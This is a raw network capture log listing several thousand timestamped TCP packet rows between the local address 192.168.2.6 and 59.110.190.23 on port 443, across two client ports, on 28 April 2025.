Apr 28, 2025 16:40:59.444053888 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.444751024 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.444806099 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.445975065 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.446036100 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.446686983 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.446744919 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.447489023 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.447545052 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.448787928 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.448838949 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.450083017 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.450135946 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.450798035 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.450859070 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.451386929 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.451447010 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.452672958 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.452729940 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.453377008 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.453433037 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.454777956 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.454829931 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.455488920 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.455538034 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.455988884 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.456039906 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.457314968 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.457381964 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.458003998 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.458058119 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.459266901 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.459323883 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.459959030 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.460015059 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.460633039 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.460696936 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.461942911 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.462019920 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.462548018 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.462599993 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.463830948 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.463895082 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.464517117 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.464570045 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.465184927 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.465231895 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.466480970 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.466532946 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.467159033 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.467204094 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.468408108 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.468460083 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.469049931 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.469108105 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.469700098 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.469748020 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.471693039 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.471736908 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.471750021 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.471756935 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.471776009 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.471791983 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.472944021 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.472999096 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.474014997 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.474066973 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.476111889 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.476149082 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.476170063 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.476175070 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.476186991 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.476212978 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.476888895 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.476942062 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.478148937 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.478207111 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.478678942 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.478730917 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.479300022 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.479350090 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.479932070 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.479995012 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.480438948 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.480489016 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.481600046 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.481646061 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.482850075 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.482902050 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.483331919 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.483381987 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.484425068 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.484477997 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.485052109 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.485119104 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.486268044 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.486326933 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.486800909 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.486860991 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.489672899 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.489732981 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.489739895 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.489753008 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.489772081 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.489778996 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.489801884 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.489810944 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.489835978 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.489860058 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.490925074 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.490992069 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.491539955 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.491599083 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.492064953 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.492122889 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.493805885 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.493860960 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.494307041 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.494358063 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.495387077 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.495446920 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.496006966 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.496056080 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.496646881 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.496699095 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.497770071 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.497833014 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.499459982 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.499514103 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639215946 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639225960 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639247894 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639259100 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639365911 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639374018 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639389992 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639400005 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639405966 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639440060 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639513969 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639522076 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639570951 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639621973 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639647961 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639653921 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639663935 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639674902 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639698982 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639703035 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639717102 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639731884 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639736891 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639750957 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639758110 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639767885 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639769077 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639790058 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639795065 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639806032 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639807940 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639820099 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639826059 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639839888 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639842033 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639858961 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639866114 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639877081 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639878988 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639892101 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639897108 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639913082 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639918089 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639928102 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639933109 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639952898 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639954090 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639970064 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639976025 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.639988899 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.639988899 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640002012 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640007973 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640021086 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640023947 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640034914 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640041113 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640058994 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640059948 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640074968 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640080929 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640093088 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640098095 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640115023 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640120029 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640129089 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640129089 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640151024 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640156984 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640165091 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640166044 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640182972 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640187979 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640197992 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640203953 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.640217066 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.640239000 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.844285965 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.844449043 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.886812925 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.886841059 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.887012959 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.926753998 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.926779032 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.926808119 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.926861048 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.926879883 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.926898003 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.926903963 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.927016020 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.927125931 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.927139044 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.927159071 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.927201033 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.132277966 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.135381937 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.220330000 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.220351934 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.220366001 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.220455885 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.220463037 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.220535040 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.259702921 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.259718895 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.259744883 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.259757042 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.259818077 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.259825945 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.259875059 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.259881020 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.259902000 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.259907007 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.259927988 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.259932041 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.259947062 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.260049105 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.260106087 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.260128021 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.260196924 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.468269110 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.471328974 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.564038992 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.564058065 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.564174891 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.607626915 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.607639074 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.607656002 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.607681036 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.607686996 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.607712030 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.607882977 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.607893944 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.607909918 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.607928991 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.608000040 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.608109951 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.812279940 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.813381910 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.977070093 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:00.977089882 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:00.977216005 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.021559954 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.021575928 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.021589041 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.021605968 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.021610975 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.021689892 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.021697044 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.021708965 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.021836042 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.021842957 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.021907091 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.021913052 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.022013903 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.228279114 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.228354931 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.386117935 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.386158943 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.386353970 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.439337015 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.439353943 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.439367056 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.439383984 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.439388990 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.439438105 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.439562082 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.439570904 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.439580917 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.439600945 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.439605951 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.439718008 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.439759970 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.648273945 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.648453951 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.798722029 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.798741102 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.798764944 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.798861980 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.920142889 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:01.920176029 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.920203924 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.920216084 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:01.920388937 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:02.280662060 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:02.405555964 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:03.472349882 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:03.472378969 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:03.697423935 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:03.697542906 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:03.697635889 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:03.697858095 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:03.697881937 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:04.686660051 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:04.686844110 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:04.688272953 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:04.688286066 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:04.688795090 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:04.688801050 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.030689001 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.030719042 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.030755043 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.030783892 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.030795097 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.030833960 CEST	443	49699	59.110.190.23	192.168.2.6
